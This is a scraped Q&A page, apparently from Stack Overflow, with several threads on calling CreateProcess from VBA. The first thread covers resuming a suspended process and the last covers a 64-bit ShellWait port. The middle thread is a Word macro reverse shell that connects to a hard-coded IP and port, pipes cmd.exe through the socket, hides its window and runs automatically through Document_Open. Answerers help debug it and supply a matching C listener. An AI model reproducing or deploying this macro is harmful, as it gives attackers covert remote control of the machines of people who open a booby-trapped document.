I'm stuck using WINAPI's CreateProcess with CREATE_SUSPENDED and ResumeThread from VBA.
I would like to start a process (and receive it's Process ID) and be able to suspend and resume its main thread (depending on a more complicated scheme considering the resource utilisation use of my computer - not detailed here). I came up with the below code and have the following problems:
LastDllError is 18 after calling CreateProcess although the return
value is nonzero. What does this mean?
ResumeThread fails with ERROR_INVALID_HANDLE, and does not resume
it. What is wrong here?
My code:
Option Explicit
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Const CREATE_SUSPENDED As Long = 4
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, _
ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
ByRef lpEnvironment As Any, _
ByVal lpCurrentDirectory As String, _
ByRef lpStartupInfo As STARTUPINFO, _
ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function SuspendThread Lib "kernel32" (hThread As Long) As Long
Private Declare Function ResumeThread Lib "kernel32" (hThread As Long) As Long
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Declare Function DebugActiveProcess Lib "kernel32" (ByVal dwProcessId As Long) As Long
Private Declare Function DebugActiveProcessStop Lib "kernel32" (ByVal dwProcessId As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Function WinApi_CreateProcess(strCommandLine As String, Optional strCurrentDirectory As String = vbNullString) As Long
If strCurrentDirectory = vbNullString Then
strCurrentDirectory = ThisWorkbook.Path
End If
Dim sap As SECURITY_ATTRIBUTES: sap.nLength = Len(sap)
Dim sat As SECURITY_ATTRIBUTES: sat.nLength = Len(sat)
Dim si As STARTUPINFO: si.cb = Len(si)
Dim pi As PROCESS_INFORMATION
Debug.Print Err.LastDllError ' 0 => ERROR_SUCCESS
Dim dwResult As Long: dwResult = CreateProcess(vbNullString, strCommandLine, sap, sat, 0, CREATE_SUSPENDED, 0, strCurrentDirectory, si, pi)
Debug.Print Err.LastDllError ' 18 => ERROR_NO_MORE_FILES (but dwResult <> 0 => Success)
If dwResult = 0 Then
WinApi_CreateProcess = 0: Exit Function
End If
CloseHandle pi.hProcess
Debug.Print Err.LastDllError ' 0 => ERROR_SUCCESS
Dim dwSuspendCount As Long: dwSuspendCount = ResumeThread(pi.hThread)
Debug.Print dwSuspendCount ' -1
If dwSuspendCount = -1 Then
Debug.Print Err.LastDllError ' 6 => ERROR_INVALID_HANDLE
CloseHandle pi.hThread
WinApi_CreateProcess = 0: Exit Function
Else
Debug.Print Err.LastDllError ' Not this branch
CloseHandle pi.hThread
WinApi_CreateProcess = pi.dwProcessId: Exit Function
End If
End Function
After modify all pointer types to LongPtr instead of Long, I can use the sample to reproduce your problem with 64-bit Excel. You could also refer to the statement here
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As LongPtr
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Then I get true result for CreateProcess and ERROR_INVALID_HANDLE error for ResumeThread, I found that ResumeThread parameter did not declare with ByVal(the same as SuspendThread). After add ByVal, the sample works for me.
Declare PtrSafe Function SuspendThread Lib "kernel32" (ByVal hThread As LongPtr) As Long
Declare PtrSafe Function ResumeThread Lib "kernel32" (ByVal hThread As LongPtr) As Long
LastDllError is 18 after calling CreateProcess although the return value is nonzero. What does this mean?
It means you are using Err.LastDllError incorrectly. If CreateProcess() succeeds (returns non-zero), the value of Err.LastDllError is indeterminate, so just ignore it. Its value will be meaningful only if CreateProcess() fails (returns zero).
ResumeThread fails with ERROR_INVALID_HANDLE, and does not resume it. What is wrong here?
You are checking the return value of ResumeThread() incorrectly, so you are checking Err.LastDllError at the wrong time, again.
Per the ResumeThread() documentation:
If the function succeeds, the return value is the thread's previous suspend count.
If the function fails, the return value is (DWORD) -1. To get extended error information, call GetLastError.
In this case, you are checking the return value of ResumeThread() against 0, but the process was created in a suspended state, so its main thread's suspend count would be 1, and so ResumeThread() should be returning 1 if the thread is successfully resumed, but you are treating that as a failure condition instead of a success condition.
You need to change this:
If ResumeThread(pi.hThread) <> 0 Then
To this:
If ResumeThread(pi.hThread) = -1 Then
And clean up your use of Err.LastDllError, eg:
Public Function WinApi_CreateProcess(strCommandLine As String, Optional strCurrentDirectory As String = vbNullString) As Long
If strCurrentDirectory = vbNullString Then
strCurrentDirectory = ThisWorkbook.Path
End If
Dim sap As SECURITY_ATTRIBUTES: sap.nLength = Len(sap)
Dim sat As SECURITY_ATTRIBUTES: sat.nLength = Len(sat)
Dim si As STARTUPINFO: si.cb = Len(si)
Dim pi As PROCESS_INFORMATION
Dim dwResult As Long: dwResult = CreateProcess(vbNullString, strCommandLine, sap, sat, 0, CREATE_SUSPENDED, 0, strCurrentDirectory, si, pi)
If dwResult = 0 Then
Debug.Print Err.LastDllError
WinApi_CreateProcess = 0: Exit Function
End If
CloseHandle pi.hProcess
Dim dwSuspendCount As Long: dwSuspendCount = ResumeThread(pi.hThread)
If dwSuspendCount = -1 Then
Debug.Print Err.LastDllError
CloseHandle pi.hThread
WinApi_CreateProcess = 0: Exit Function
End If
CloseHandle pi.hThread
WinApi_CreateProcess = pi.dwProcessId
End Function
But, you really don't need to create a process suspended and then resume it just to grab its process ID. Get rid of CREATE_SUSPENDED and ResumeThread() altogether, you don't actually need them in this situation:
Public Function WinApi_CreateProcess(strCommandLine As String, Optional strCurrentDirectory As String = vbNullString) As Long
If strCurrentDirectory = vbNullString Then
strCurrentDirectory = ThisWorkbook.Path
End If
Dim sap As SECURITY_ATTRIBUTES: sap.nLength = Len(sap)
Dim sat As SECURITY_ATTRIBUTES: sat.nLength = Len(sat)
Dim si As STARTUPINFO: si.cb = Len(si)
Dim pi As PROCESS_INFORMATION
Dim dwResult As Long: dwResult = CreateProcess(vbNullString, strCommandLine, sap, sat, 0, 0, 0, strCurrentDirectory, si, pi)
If dwResult = 0 Then
Debug.Print Err.LastDllError
WinApi_CreateProcess = 0: Exit Function
End If
CloseHandle pi.hThread
CloseHandle pi.hProcess
WinApi_CreateProcess = pi.dwProcessId
End Function
Related
So I'm trying to write VBA that calls "CreateProcessA" to start the "cmd.exe" process and redirect stdin, stdout, and stderror to a socket that's connected to a remote computer.
At the moment, almost everything seems to be working except the output isn't getting redirected to the socket. When I run the code, it shows on the remote computer that a connection was received, but then the cmd windows just opens on the computer running the VBA and that's it. Anyone know why I'm not able to redirect to the socket? My code is below. Thanks for your help in advance :)
Const ip = "192.168.43.1"
Const port = "1337"
Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Const SD_SEND = 1
Const MAX_PROTOCOL_CHAIN = 7&
Const WSAPROTOCOL_LEN = 255
' Typ definitions ----------------------------------------------------
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To WSADESCRIPTION_LEN) As Byte
szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Type ADDRINFO
ai_flags As Long
ai_family As Long
ai_socktype As Long
ai_protocol As Long
ai_addrlen As Long
ai_canonName As LongPtr 'strptr
ai_addr As LongPtr 'p sockaddr
ai_next As LongPtr 'p addrinfo
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type WSAPROTOCOLCHAIN
ChainLen As Long
ChainEntries(1 To MAX_PROTOCOL_CHAIN) As Long
End Type
Private Type GUID
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(7) As Byte
End Type
Private Type WSAPROTOCOL_INFO
dwServiceFlags1 As Long
dwServiceFlags2 As Long
dwServiceFlags3 As Long
dwServiceFlags4 As Long
dwProviderFlags As Long
ProviderId As GUID
dwCatalogEntryId As Long
ProtocolChain As WSAPROTOCOLCHAIN
iVersion As Long
iAddressFamily As Long
iMaxSockAddr As Long
iMinSockAddr As Long
iSocketType As Long
iProtocol As Long
iProtocolMaxOffset As Long
iNetworkByteOrder As Long
iSecurityScheme As Long
dwMessageSize As Long
dwProviderReserved As Long
szProtocol(1 To WSAPROTOCOL_LEN + 1) As Byte
End Type
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
' Enums ---------------------------------------------------------------
Enum af
AF_UNSPEC = 0
AF_INET = 2
AF_IPX = 6
AF_APPLETALK = 16
AF_NETBIOS = 17
AF_INET6 = 23
AF_IRDA = 26
AF_BTH = 32
End Enum
Enum sock_type
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
SOCK_RDM = 4
SOCK_SEQPACKET = 5
End Enum
' External functions --------------------------------------------------
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function ws_socket Lib "ws2_32.dll" Alias "socket" (ByVal af As Long, ByVal stype As Long, ByVal protocol As Long) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function Send Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByVal buf As String, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function Recv Lib "ws2_32.dll" Alias "recv" (ByVal s As Long, ByRef buf As Byte, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function SendWithPtr Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByVal bufPtr As Long, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function shutdown Lib "ws2_32.dll" (ByVal s As Long, ByVal how As Long) As Long
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (var() As Any) As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As LongPtr, ByVal g As Long, ByVal dwFlags As Long) As Long
Function revShell()
Dim m_wsaData As WSADATA
Dim m_RetVal As Integer
Dim m_Hints As ADDRINFO
Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
Dim pAddrInfo As LongPtr
Dim RetVal As Long
Dim lastError As Long
Dim iRC As Long
Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
Dim protoInfo As WSAPROTOCOL_INFO
'Socket Settings
RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
If (RetVal <> 0) Then
MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_family = af.AF_UNSPEC
m_Hints.ai_socktype = sock_type.SOCK_STREAM
RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
If (RetVal <> 0) Then
MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_next = pAddrInfo
Dim connected As Boolean: connected = False
Do While m_Hints.ai_next > 0
CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)
m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, 0, 0, 0)
If (m_ConnSocket = INVALID_SOCKET) Then
MsgBox "Error opening socket, error " & RetVal & WSAGetLastError()
Else
Dim connectionResult As Long
connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)
If connectionResult <> SOCKET_ERROR Then
connected = True
Exit Do
End If
MsgBox ("connect() to socket failed")
closesocket (m_ConnSocket)
End If
Loop
If Not connected Then
MsgBox ("Fatal error: unable to connect to the server")
'MsgBox (WSAGetLastError())
RetVal = closesocket(m_ConnSocket)
Call WSACleanup
Exit Function
End If
Dim secAttrPrc As SECURITY_ATTRIBUTES
secAttrPrc.nLength = Len(secAttrPrc)
Dim secAttrThr As SECURITY_ATTRIBUTES
secAttrThr.nLength = Len(secAttrThr)
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Dim pi As PROCESS_INFORMATION
Dim worked As LongPtr
Dim test As Long
worked = CreateProc(vbNullString, "cmd.exe", secAttrPrc, secAttrThr, True, 0, 0, Environ("USERPROFILE"), si, pi)
'MsgBox (worked)
If worked Then
MsgBox ("Worked!")
Else
MsgBox ("Didn't work")
End If
End Function
I can get it work with msdn sample: Server and Client(Added create cmd process in it).
And I can also reproduce this issue with you sample in VBA. When I use the WSASocketA you defined, I get Compile error at lpProtocolInfo As WSAPROTOCOL_INFOA
Compile error: ByRef argument type mismatch
Since it is a pointer type, I modify it as ByVal lpProtocolInfo As LongPtr.
More importantly, you've ZeroMemory the STARTUPINFO after you set it, and then all the handles you set will be discarded.
Put the initialization at the beginning:
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Then it works for me.
UPDATE:
lpProtocolInfo As LongPtr You did not add ByVal in your updated code, and then I can use it to work.
There is not enough space on the disk
This may be related to the string processing in your server side. You need to add the suffix "\r\n" to the cmd string you send. I use the Server sample on msdn, and modify the do-while{} part:
do {
Sleep(1000);
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
recvbuf[iResult] = L'\0';
printf("%s", recvbuf);
}
char sendcmd[512] = { 0 };
fgets(sendcmd, 512, stdin);
int len = strlen(sendcmd); // "test\n"
sendcmd[len - 1] = '\r'; //"test\r"
sendcmd[len] = '\n'; //"test\r\n"
iSendResult = send(ClientSocket, sendcmd, len+1, 0); //without '\0'
if (iSendResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ClientSocket);
WSACleanup();
return 1;
}
if (strncmp(sendcmd, "exit", 4) == 0)
break;
} while (iResult > 0);
In addition, you can specify CREATE_NO_WINDOW for CreateProcess, so that cmd windows are not created on the client side.
Result(I test it in localhost:127.0.0.1):
Ok, so I finally got it working. I was having a few issues that I was able to fix thanks to some of the users in this thread. First, I had to use WSASocketA() instead of socket() because you can't redirect process IO to sockets created with socket(). The other issues I was having was with type mismatching between VBA and C-types. Below is the updated code and here's a link to the github with the code as well: https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell
Const ip = "192.168.43.1"
Const port = "1337"
Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To WSADESCRIPTION_LEN) As Byte
szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Type ADDRINFO
ai_flags As Long
ai_family As Long
ai_socktype As Long
ai_protocol As Long
ai_addrlen As Long
ai_canonName As LongPtr
ai_addr As LongPtr
ai_next As LongPtr
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As String
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Enum af
AF_UNSPEC = 0
AF_INET = 2
AF_IPX = 6
AF_APPLETALK = 16
AF_NETBIOS = 17
AF_INET6 = 23
AF_IRDA = 26
AF_BTH = 32
End Enum
Enum sock_type
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
SOCK_RDM = 4
SOCK_SEQPACKET = 5
End Enum
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long
Function revShell()
Dim m_wsaData As WSADATA
Dim m_RetVal As Integer
Dim m_Hints As ADDRINFO
Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
Dim pAddrInfo As LongPtr
Dim RetVal As Long
Dim lastError As Long
Dim iRC As Long
Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
If (RetVal <> 0) Then
MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_family = af.AF_UNSPEC
m_Hints.ai_socktype = sock_type.SOCK_STREAM
RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
If (RetVal <> 0) Then
MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_next = pAddrInfo
Dim connected As Boolean: connected = False
Do While m_Hints.ai_next > 0
CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)
m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)
If (m_ConnSocket = INVALID_SOCKET) Then
revShell = False
Else
Dim connectionResult As Long
connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)
If connectionResult <> SOCKET_ERROR Then
connected = True
Exit Do
End If
closesocket (m_ConnSocket)
revShell = False
End If
Loop
If Not connected Then
revShell = False
RetVal = closesocket(m_ConnSocket)
Call WSACleanup
Exit Function
End If
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Dim pi As PROCESS_INFORMATION
Dim worked As LongPtr
Dim test As Long
worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
revShell = worked
End Function
Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer
MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function
Private Sub Document_Open()
Dim success As Boolean
success = revShell()
End Sub
I have the following code that I tried to make compatible for 32 and 64 bit (Access 2010+).
Option Compare Database
Option Explicit
'This code was originally written by Terry Kreft.
'It is not to be altered or distributed,
'except as part of an application.
'You are free to use it in any application,
'provided the copyright notice is left unchanged.
'
'Code Courtesy of
'Terry Kreft
Private Const STARTF_USESHOWWINDOW& = &H1
Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const INFINITE = -1&
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessID As Long
dwThreadID As Long
End Type
'Added
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
Private Declare PtrSafe Function WaitForSingleObject Lib "kernel32" (ByVal _
hHandle As LongPtr, ByVal dwMilliseconds As Long) As Long
'Type not defined
Declare PtrSafe Function CreateProcessA Lib "kernel32" _
(ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, _
lpProcessInformation As PROCESS_INFORMATION) As Long
' Original
'Private Declare Function CreateProcessA Lib "kernel32" (ByVal _
lpApplicationName As Long, ByVal lpCommandLine As String, ByVal _
lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, _
lpStartupInfo As STARTUPINFO, lpProcessInformation As _
PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal _
hObject As LongPtr) As Long
Public Sub ShellWait(Pathname As String, Optional WindowStyle As Long)
Dim proc As PROCESS_INFORMATION
Dim start As STARTUPINFO
Dim ret As Long
' Initialize the STARTUPINFO structure:
With start
.cb = Len(start)
If Not IsMissing(WindowStyle) Then
.dwFlags = STARTF_USESHOWWINDOW
.wShowWindow = WindowStyle
End If
End With
' Start the shelled application:
ret& = CreateProcessA(0&, Pathname, 0&, 0&, 1&, _
NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc) 'TEST SECURITY_ATTRIBUTES Data Types
' Wait for the shelled application to finish:
ret& = WaitForSingleObject(proc.hProcess, INFINITE) ' TEST proc.hProcess is LongPtr
ret& = CloseHandle(proc.hProcess) ' TEST proc.hProcess is LongPtr
End Sub
Public Function GetExecutableForFile(strFileName As String) As String
Dim lngRetval As LongPtr
Dim strExecName As String * 255
lngRetval = FindExecutable(strFileName, vbNullString, strExecName)
GetExecutableForFile = Left$(strExecName, InStr(strExecName, Chr$(0)) - 1)
End Function
Sub RunIt(strNewFullPath As String)
Dim exeName As String
exeName = GetExecutableForFile(strNewFullPath)
Shell exeName & " " & Chr(34) & strNewFullPath & Chr(34), vbNormalFocus
End Sub
I already tinkered with it from this site by adding LongPtr where I believe it should of been. I also added SECURITY_ATTRIBUTES type that wasn't in the original code.
I am getting a compile error on the following line under the ShellWait sub:
ret& = CreateProcessA(0&, Pathname, 0&, 0&, 1&, _
NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)
The error is on the third parameter and says: "ByRef Argument Type Mismatched"
Originally the SECURITY_ATTRIBUTES were type Long.
If I change back to LongPtr the error is gone, but does not work when I try the command ShellWait "clac.exe"
I get no error message when debugging line by line. Nothing happens.
I am testing in 64 bit Access first.
There are a few issues to tackle here.
First, the API function should return a LongPtr. You'll need to change that in your function declare statment. You'll also need to change your ret variable to a LongPtr.
Second, the reason for the type mismatch is because your parameter value 0& is not of type SECURITY_ATTRIBUTES. You must build a SECURITY_ATTRIBUTES type and pass that in as a parameter.
EDIT:
Here is all the code I have in a module that is compiling just fine. Just want to see if I can help understand why you are still getting the compiler error:
Option Explicit
'This code was originally written by Terry Kreft.
'It is not to be altered or distributed,
'except as part of an application.
'You are free to use it in any application,
'provided the copyright notice is left unchanged.
'
'Code Courtesy of
'Terry Kreft
Private Const STARTF_USESHOWWINDOW& = &H1
Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const INFINITE = -1&
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessID As Long
dwThreadID As Long
End Type
'Added
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
Private Declare PtrSafe Function WaitForSingleObject Lib "kernel32" (ByVal _
hHandle As LongPtr, ByVal dwMilliseconds As Long) As Long
'Type not defined
Declare PtrSafe Function CreateProcessA Lib "kernel32" _
(ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, _
lpProcessInformation As PROCESS_INFORMATION) As LongPtr
' Original
'Private Declare Function CreateProcessA Lib "kernel32" (ByVal _
lpApplicationName As Long, ByVal lpCommandLine As String, ByVal _
lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, _
lpStartupInfo As STARTUPINFO, lpProcessInformation As _
PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal _
hObject As LongPtr) As Long
Public Sub ShellWait(Pathname As String, Optional WindowStyle As Long)
Dim proc As PROCESS_INFORMATION
Dim start As STARTUPINFO
Dim ret As LongPtr
'Not used, but needed
Dim si1 As SECURITY_ATTRIBUTES
Dim si2 As SECURITY_ATTRIBUTES
' Initialize the STARTUPINFO structure:
With start
.cb = Len(start)
If Not IsMissing(WindowStyle) Then
.dwFlags = STARTF_USESHOWWINDOW
.wShowWindow = WindowStyle
End If
End With
'Set the structure size
si1.nLength = Len(si1)
si2.nLength = Len(si2)
' Start the shelled application:
ret = CreateProcessA(vbNullString, Pathname, si1, si2, False, _
NORMAL_PRIORITY_CLASS, 0&, vbNullString, start, proc) 'TEST SECURITY_ATTRIBUTES Data Types
' Wait for the shelled application to finish:
ret = WaitForSingleObject(proc.hProcess, INFINITE) ' TEST proc.hProcess is LongPtr
